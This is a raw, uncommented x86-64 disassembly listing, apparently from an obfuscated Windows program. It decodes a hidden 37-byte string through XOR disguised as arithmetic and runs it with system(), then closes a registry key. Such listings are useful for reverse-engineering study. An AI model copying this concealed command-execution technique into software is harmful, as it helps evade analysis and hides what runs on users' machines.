lea r11d, [r10 + rdx]
sub r11b, 0x40
add rax, r9
jmp 0x1400cfe76
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400cfaee
movzx edi, bl
lea edx, [rdi + 0x80]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
add r11b, 0x80
jmp 0x1400cfe33
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400cfb17
movzx edx, bl
movzx r11d, bl
and dl, r10b
inc r9
add dl, dl
dec rbx
sub r11b, dl
add r11b, r10b
inc rbx
jmp 0x1400cf492
lea rcx, [r9 + 8]
cmp rax, rcx
jne 0x1400cf940
movzx edi, bl
lea edx, [rdi - 0x40]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x40
jmp 0x1400cfdd1
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400cfb67
movzx edi, bl
lea edx, [rdi - 0x60]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x60
jmp 0x1400cfdd1
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400cfb97
lea r8d, [rbx + 0x20]
mov edx, reloc.WS2_32.dll_recv
movzx ecx, r8b
dec rbx
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
inc rbx
jmp 0x1400cf492
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1400cfbbd
lea edx, [rbx - 0x60]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x60
add rax, r9
jmp 0x1400cfe76
cmp rax, rdx
jne 0x1400cfbe3
lea r8d, [rbx + 0x60]
mov edx, Ordinal_50
movzx ecx, r8b
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
jmp 0x1400cfe76
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x1400cf8d9
lea r8d, [rbx + 0x20]
mov edx, reloc.WS2_32.dll_recv
movzx ecx, r8b
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
jmp 0x1400cfd23
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400cfc45
lea edx, [rbx + 0x80]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
movzx ecx, byte [rsp + rbx + 0x40]
add rcx, r9
add rbx, rcx
lea r11d, [r10 + rdx]
add r11b, 0x80
inc rbx
jmp 0x1400cf492
inc rcx
cmp rax, rcx
jne 0x1400cfc6e
lea r8d, [rbx + 0x40]
mov edx, reloc.WLDAP32.dll_Ordinal_32
movzx ecx, r8b
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
jmp 0x1400cfd4d
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400cfc9b
mov edx, reloc.WLDAP32.dll_Ordinal_32
movzx edi, bl
lea r8d, [rdi + 0x40]
movzx ecx, r8b
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
jmp 0x1400cfe33
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1400cfcbe
movzx ecx, r10b
and cl, bl
add cl, cl
sub r10b, cl
lea r11d, [rbx + r10]
dec rbx
inc rbx
jmp 0x1400cf492
lea rcx, [r9 + 8]
cmp rax, rcx
jne 0x1400cf905
movzx edi, bl
lea edx, [rdi + 0x80]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
add r11b, 0x80
jmp 0x1400cfdd1
movzx r11d, byte [rsp + rbx + 0x40]
movzx ecx, r10b
and cl, bl
movzx edi, bl
add cl, cl
sub r11b, cl
add r11b, r10b
add r11b, bl
jmp 0x1400cfe33
lea edx, [rbx - 0x40]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
sub dl, byte [rsp + rbx + 0x40]
lea r11d, [r10 + rdx]
sub r11b, 0x40
lea r8d, [rbx + 0x20]
inc r9
movzx ecx, r8b
mov edx, reloc.WS2_32.dll_recv
and cl, r10b
sub dl, cl
add dl, dl
add dl, r8b
add dl, r10b
movzx ecx, dl
mov byte [rsp + rbx + 0x40], cl
add rcx, r9
sub rbx, rcx
lea edx, [rbx + 0x80]
inc rax
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add dl, 0x80
add dl, r10b
mov byte [rsp + rbx + 0x40], dl
add rbx, rcx
movzx ecx, byte [rsp + rbx + 0x40]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400cf492
lea edx, [rbx - 0x60]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
movzx ecx, byte [rsp + rbx + 0x40]
add rcx, r9
add rbx, rcx
lea r11d, [r10 + rdx]
sub r11b, 0x60
inc rbx
jmp 0x1400cf492
movzx edi, bl
mov edx, reloc.WS2_32.dll_recv
lea r8d, [rdi + 0x20]
movzx ecx, r8b
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
sub dil, 0x60
movzx ecx, dil
and cl, r10b
add cl, cl
sub dil, cl
sub dil, 0x60
add dil, r10b
mov byte [rsp + rbx + 0x40], dil
inc r9
dec rbx
inc rbx
jmp 0x1400cf492
lea edx, [rbx - 0x60]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x60
dec rbx
inc rbx
jmp 0x1400cf492
movzx edi, bl
lea edx, [rdi - 0x20]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x20
add dil, 0x60
mov edx, Ordinal_50
movzx ecx, dil
and cl, r10b
sub dl, cl
add dl, dl
add dl, dil
add dl, r11b
add dl, r10b
mov byte [rsp + rbx + 0x40], dl
add rax, r9
jmp 0x1400cfe76
lea rdx, [rbx + r15]
mov r8d, Ordinal_50
movzx ecx, dl
and cl, dil
sub r8b, cl
lea r11d, [r8 + r8]
add r11b, dl
add r11b, dil
movzx ecx, r11b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x1400cf492
lea rdx, [rbx + r12]
mov r8d, reloc.WS2_32.dll_recv
movzx ecx, dl
and cl, dil
sub r8b, cl
lea r11d, [r8 + r8]
add r11b, dl
add r11b, dil
movzx ecx, byte [rsp + rbx + 0x40]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400cf492
sub bl, 0x20
movzx ecx, bl
and cl, r10b
add cl, cl
sub bl, cl
lea r11d, [r10 + rbx]
sub r11b, 0x20
jmp 0x1400cf490
add bl, 0x20
mov ecx, reloc.WS2_32.dll_recv
movzx eax, bl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1400cf480
lea rcx, [rbp + 0x17b43c0]
jmp 0x1400cff0f
lea rcx, [rbp + 0x560720]
jmp 0x1400cff0f
lea rcx, [rsp + 0x40]
call fcn.140040a00
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
movzx r11d, byte [rbp + 0xa0]
xorps xmm0, xmm0
xor eax, eax
mov dword [rbp + 0x30], 0xffff0dfb
movups xmmword [rbp + 0x41], xmm0
mov dword [rbp + 0x51], eax
movabs r14, 0x11e31579eae81b71
mov dword [rbp + 0x34], 0xfdf9f00e
movabs r12, 0x7d3596556c58c017
mov dword [rbp + 0x38], 0x4bf23c4e
movabs r15, 0x35a9406dc0b85253
mov dword [rbp + 0x3c], 0xc748f53b
mov byte [rbp + 0x40], __WSAFDIsSet
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
xor edi, edi
cmp rdi, 0x25
jae 0x1400d0b0b
movzx r10d, byte [rbp + rdi + 0x30]
mov rbx, r10
cmp r8, rdi
ja 0x1400d0b02
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400cffcf
lea r11, [rdi + r14]
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
sub r11b, 0x17
add r11b, bl
jmp 0x1400d0016
je 0x1400d0a97
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d0a19
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d09e7
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d09ae
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400d098d
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d094b
cmp r9, rdi
ja 0x1400d0af9
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x1400d003f
lea ecx, [rdi + 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x1d
jmp 0x1400d0090
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d092f
inc rax
cmp r8, rax
je 0x1400d090b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d08ea
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d08cf
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d08b4
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400d088b
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400d05fc
nop dword [rax]
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d05dc
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400d05b8
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d0597
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d0578
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400d0559
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d053a
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400d051e
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400d0500
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400d04d7
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400d00a0
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400d0adc
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400d0abf
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400d0296
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400d0278
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400d025a
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400d048b
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400d0443
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400d0400
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400d03dd
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400d00a0
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400d03b0
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400d0391
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400d0376
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400d035b
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400d0340
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400d0320
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d02fb
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400d02d3
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400d02b4
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400d00a0
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x7a]
jmp 0x1400d00a0
lea edx, [rdi + 0x5b]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x7d
add r11b, dl
jmp 0x1400d0090
lea edx, [rdi + 0x79]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x4f
add r11b, dl
jmp 0x1400d0016
lea edx, [rdi - 0x69]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x21
add r11b, dl
jmp 0x1400cffa2
lea edx, [rdi + 0x28]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
movzx ebx, dil
sub r11b, al
sub r11b, 0x18
jmp 0x1400d0965
lea edx, [rdi + 0x46]
mov ecx, ntohl
movzx eax, r10b
inc r9
and al, dl
dec rdi
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc rdi
jmp 0x1400cff92
lea edx, [rdi + 0x64]
mov ecx, Ordinal_35
movzx eax, r10b
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc rdi
jmp 0x1400cff92
mov ecx, reloc.WS2_32.dll_gethostname
lea edx, [rdi - 0x7e]
movzx eax, r10b
movzx ebx, dil
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400d09c8
lea ecx, [rdi - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x60
jmp 0x1400d09fd
lea ecx, [rdi - 0x42]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x32
jmp 0x1400d0a00
lea edx, [rdi - 0x24]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 4
jmp 0x1400d0a33
lea edx, [rdi - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400d0a59
lea edx, [rdi + 0x18]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
movzx eax, byte [rbp + rdi + 0x30]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc rdi
jmp 0x1400cff92
lea ecx, [rdi - 0x1d]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x35
mov byte [rbp + rdi + 0x30], r11b
inc rdi
jmp 0x1400cff92
lea edx, [rdi + 1]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 7
add r11b, dl
cmp r9, 0x61
jb 0x1400d03f3
movzx ecx, r10b
movzx ebx, dil
movzx eax, r10b
lea edx, [rbx + 6]
and al, dl
add al, al
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x54]
jmp 0x1400d0968
lea edx, [rdi + 0x1f]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
add r11b, 0x27
add r11b, dl
cmp r8, 6
jae 0x1400d084e
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400d079e
lea edx, [rdi + 0x32]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x5e
jmp 0x1400d0416
lea edx, [rdi + 0x3d]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
add r11b, 0x55
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x2a
je 0x1400d0872
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400d06f8
lea edx, [rdi - 0x13]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x7b
jmp 0x1400d0459
lea ecx, [rdi - 0x62]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rbp + rdi + 0x30]
add rax, r9
add rdi, rax
lea r11d, [rcx + r10]
sub r11b, 0x52
inc rdi
jmp 0x1400cff92
lea edx, [rdi - 0x44]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x24
add r11b, dl
jmp 0x1400d0a59
mov ecx, 5
lea edx, [rdi - 0x26]
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400d0a33
lea edx, [rdi - 8]
mov ecx, Ordinal_32
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400d0a00
lea edx, [rdi + 0x16]
mov ecx, 0x33
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400d09fd
movzx ebx, dil
movzx eax, r10b
movzx r11d, r10b
lea edx, [rbx + 0x34]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x6c
jmp 0x1400d09c8
lea ecx, [rdi + 0x52]
movzx eax, r10b
and al, cl
dec rdi
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3e
inc rdi
jmp 0x1400cff92
lea ecx, [rdi + 0x70]
movzx eax, r10b
and al, cl
inc r9
add al, al
dec rdi
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x10
inc rdi
jmp 0x1400cff92
mov ecx, reloc.WS2_32.dll_ntohs
movzx ebx, dil
movzx eax, r10b
lea edx, [rbx - 0x72]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400d0965
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1400d0620
lea edx, [rdi + 0x71]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x17
jmp 0x1400d04a1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d0656
lea edx, [rdi - 0x76]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_32
sub cl, al
movzx eax, byte [rbp + rdi + 0x30]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc rdi
jmp 0x1400cff92
inc rax
cmp r8, rax
jne 0x1400d0679
lea edx, [rdi + 0x4e]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x22
jmp 0x1400d0a33
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d069d
lea ecx, [rdi + 0x12]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x7e
jmp 0x1400d09fd
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d06c6
mov ecx, Ordinal_45
movzx ebx, dil
movzx eax, r10b
lea edx, [rbx - 0xc]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400d09c8
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d04a4
lea edx, [rdi - 0x2a]
mov ecx, reloc.WS2_32.dll_send
movzx eax, r10b
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc rdi
jmp 0x1400cff92
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d0720
movzx ebx, dil
movzx eax, r10b
movzx r11d, r10b
lea edx, [rbx - 0x31]
and al, dl
add al, al
sub r11b, al
add r11b, 0x57
jmp 0x1400d0965
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d0744
lea ecx, [rdi + 0x57]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x61
jmp 0x1400d09fd
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d0768
lea edx, [rdi + 0x1b]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
add r11b, 0x43
jmp 0x1400d0a33
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400d045c
lea ecx, [rdi - 0x21]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rbp + rdi + 0x30]
add rax, r9
add rdi, rax
lea r11d, [rcx + r10]
sub r11b, 0x19
inc rdi
jmp 0x1400cff92
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d07d4
lea edx, [rdi + 0x14]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
movzx eax, byte [rbp + rdi + 0x30]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc rdi
jmp 0x1400cff92
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d07f8
lea ecx, [rdi - 0x46]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x16
jmp 0x1400d0a00
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d081c
lea ecx, [rdi - 0x64]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x44
jmp 0x1400d09fd
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d0419
lea edx, [rdi + 0x60]
mov ecx, Ordinal_50
movzx eax, r10b
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc rdi
jmp 0x1400cff92
movzx r11d, byte [rbp + rdi + 0x30]
movzx ebx, dil
movzx eax, r10b
lea edx, [rbx - 0x18]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x58
add r11b, r10b
jmp 0x1400d09c8
mov ecx, 0x3d
lea edx, [rdi - 0x36]
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400d0a33
lea ecx, [rdi + 0x37]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rbp + rdi + 0x30]
add rax, r9
add rdi, rax
lea r11d, [rcx + r10]
add r11b, 0x7f
inc rdi
jmp 0x1400cff92
lea edx, [rdi + 0x73]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x25
jmp 0x1400d0a33
lea ecx, [rdi - 0x51]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x37
jmp 0x1400d09fd
lea ecx, [rdi - 0x15]
movzx eax, r10b
and al, cl
dec rdi
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x6d
inc rdi
jmp 0x1400cff92
lea ecx, [rdi + 9]
movzx eax, r10b
and al, cl
inc r9
add al, al
dec rdi
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3f
inc rdi
jmp 0x1400cff92
movzx ebx, dil
movzx eax, r10b
movzx r11d, r10b
lea edx, [rbx + 0x27]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x11
jmp 0x1400d0965
movzx ebx, dil
movzx eax, r10b
movzx r11d, r10b
lea edx, [rbx + 0x63]
and al, dl
add al, al
sub r11b, al
add r11b, 0x4b
add r11b, dl
add bl, 0x77
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x41
add bl, r10b
mov byte [rbp + rdi + 0x30], bl
inc r9
dec rdi
inc rdi
jmp 0x1400cff92
lea ecx, [rdi - 0x61]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x59
dec rdi
inc rdi
jmp 0x1400cff92
movzx ebx, dil
movzx eax, r10b
movzx r11d, r10b
lea edx, [rbx - 0x43]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x2b
add r11b, dl
add bl, 0x59
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x6f
add bl, r11b
add bl, r10b
mov byte [rbp + rdi + 0x30], bl
jmp 0x1400d09fd
lea ecx, [rdi - 0x25]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 3
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400cff92
lea rdx, [rdi + r12]
movzx r11d, bl
movzx eax, dl
movzx r10d, bl
and al, bl
add al, al
sub r11b, al
add r11b, 0x5f
add r11b, dl
lea ecx, [rdi + 0x3b]
inc r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x63
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0x30], al
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x54]
inc r8
movzx eax, dl
mov ecx, Ordinal_41
and al, r10b
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rdi + 0x30], cl
add rdi, rax
movzx eax, byte [rbp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400cff92
lea rcx, [rdi + r15]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x45
movzx eax, byte [rbp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400cff92
sub dil, 0x4b
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
lea r11d, [rdi + r10]
add r11b, 0xd
jmp 0x1400cff90
sub dil, 0x2d
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
lea r11d, [rdi + r10]
add r11b, 0x3b
jmp 0x1400cff80
lea rcx, [rbp + 0x172701c]
jmp 0x1400d0b0f
lea rcx, [rbp + 0x15a8b8d]
jmp 0x1400d0b0f
lea rcx, [rbp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp + 0xb0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x160
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret